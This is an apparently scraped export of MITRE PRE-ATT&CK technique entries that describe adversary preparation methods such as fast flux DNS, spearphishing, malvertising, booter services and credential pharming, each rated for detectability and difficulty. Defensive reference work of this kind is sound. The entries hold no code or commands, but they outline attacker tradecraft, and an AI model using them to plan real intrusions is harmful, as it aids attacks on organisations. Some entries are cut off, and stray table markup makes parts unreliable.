This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.

Test signature detection - PRE-T1069

An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less
well-known service, the defender would not be aware.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Test signature detection - PRE-T1069"`

Table 3731. Table References

<table>
<thead>
<tr>

</tr>
</tbody>
</table>

**Fast Flux DNS - PRE-T1102**

A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Fast Flux DNS - PRE-T1102"`

</tbody>
</table>
Obfuscate or encrypt code - PRE-T1096

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate or encrypt code - PRE-T1096"

Analyze organizational skillsets and deficiencies - PRE-T1074

Understanding organizational skillsets and deficiencies could provide insight into weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1074"

Analyze organizational skillsets and deficiencies - PRE-T1074 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1066" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1077" with estimative-language:likelihood-probability="almost-certain"
Distribute malicious software development tools - PRE-T1171

An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Distribute malicious software development tools - PRE-T1171"

Table 3737. Table References

Acquire or compromise 3rd party signing certificates - PRE-T1109

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don’t know who issued the certificate or who the author is. (Citation: DiginotarCompromise)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.

Difficulty for the Adversary: No
Difficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire or compromise 3rd party signing certificates - PRE-T1109"

Acquire or compromise 3rd party signing certificates - PRE-T1109 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire or compromise 3rd party signing certificates - PRE-T1087" with estimative-language:likelihood-probability="almost-certain"

</table>

Identify vulnerabilities in third-party software libraries - PRE-T1166

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it’s security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google’s Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.
The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Identify vulnerabilities in third-party software libraries - PRE-T1166"

**Task requirements - PRE-T1017**

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be
Spearphishing for Information - PRE-T1174

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it doesn’t leverage malicious code. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Spearphishing for Information - PRE-T1174"
Buy domain name - PRE-T1105

Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka "domain typosquatting" or homoglyphs).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Buy domain name - PRE-T1105"

</table>

### Runtime code download and execution - PRE-T1172

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to "identify attacks that require connection to a server and dynamic downloading of code" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.
Assess current holdings, needs, and wants - PRE-T1013

Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

Obtain templates/branding materials - PRE-T1058

Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can’t monitor.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.
Dynamic DNS - PRE-T1088

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Dynamic DNS - PRE-T1088"

Dynamic DNS - PRE-T1088 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Dynamic DNS - PRE-T1110" with estimative-language:likelihood-probability="almost-certain"

Spear phishing messages with malicious links - PRE-T1146

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new
links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Spear phishing messages with malicious links - PRE-T1146"

</table>

**Assign KITs/KIQs into categories - PRE-T1005**

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat. 1995
Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Assign KITs/KIQs into categories - PRE-T1005"

### Analyze application security posture - PRE-T1070

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weaknesses automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze application security posture - PRE-T1070"

### Targeted social media phishing - PRE-T1143

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Targeted social media phishing - PRE-T1143"

Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169

The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple’s App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Obtain Apple iOS enterprise distribution key
Determine 3rd party infrastructure services - PRE-T1037

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1037"

Determine 3rd party infrastructure services - PRE-T1037 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1061" with estimative-language:likelihood-probability="almost-certain"

Identify resources required to build capabilities - PRE-T1125

As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off
the record.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Identify resources required to build capabilities - PRE-T1125"

</tbody>
</table>

**DNS poisoning - PRE-T1159**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server’s domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="DNS poisoning - PRE-T1159"

Identify web defensive services - PRE-T1033

An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Active service detection may trigger an alert. Passive service enumeration is not detected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Identify web defensive services - PRE-T1033"

Acquire and/or use 3rd party infrastructure services - PRE-T1084

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party infrastructure services - PRE-T1084"

Acquire and/or use 3rd party infrastructure services - PRE-T1084 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party infrastructure services - PRE-T1106" with estimative-language:likelihood-probability="almost-certain"

Determine approach/attack vector - PRE-T1022

The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 ©) (Citation: DoD Cyber 2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.
Research visibility gap of security vendors - PRE-T1067

If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender’s organization.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Research visibility gap of security vendors - PRE-T1067"

Analyze business processes - PRE-T1078

Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze business processes - PRE-T1078"
Assess security posture of physical locations - PRE-T1079

Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Assess security posture of physical locations - PRE-T1079"

Table 3779. Table References

Obtain booter/stressor subscription - PRE-T1173

Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booster) (Citation: Krebs-Bazaar)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Obtain booter/stressor subscription - PRE-T1173"
**Analyze data collected - PRE-T1064**

An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically. Adversary can "dry run" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze data collected - PRE-T1064"

**Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038**

Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Basic interaction with the site provides insight into the
programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038"

**Generate analyst intelligence requirements - PRE-T1011**

Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Generate analyst intelligence requirements - PRE-T1011"

**Port redirector - PRE-T1140**

Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.

Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., AWS, VPS providers).

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Port redirector - PRE-T1140"`

**Identify business processes/tempo - PRE-T1057**

Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Identify business processes/tempo - PRE-T1057"`

</tbody>
</table>

**Build and configure delivery systems - PRE-T1124**

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: It is detectable once deployed to the public Internet,
used for adversarial purposes, discovered, and reported to defenders.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Build and configure delivery systems - PRE-T1124"

Table 3786. Table References

</tbody>
</table>

Identify personnel with an authority/privilege - PRE-T1048

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Identify personnel with an authority/privilege - PRE-T1048"

</table>

**Credential pharming - PRE-T1151**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Credential pharming - PRE-T1151"

</tbody>
</table>

OS-vendor provided communication channels - PRE-T1167

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="OS-vendor provided communication channels - PRE-T1167"

**Deploy exploit using advertising - PRE-T1157**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.

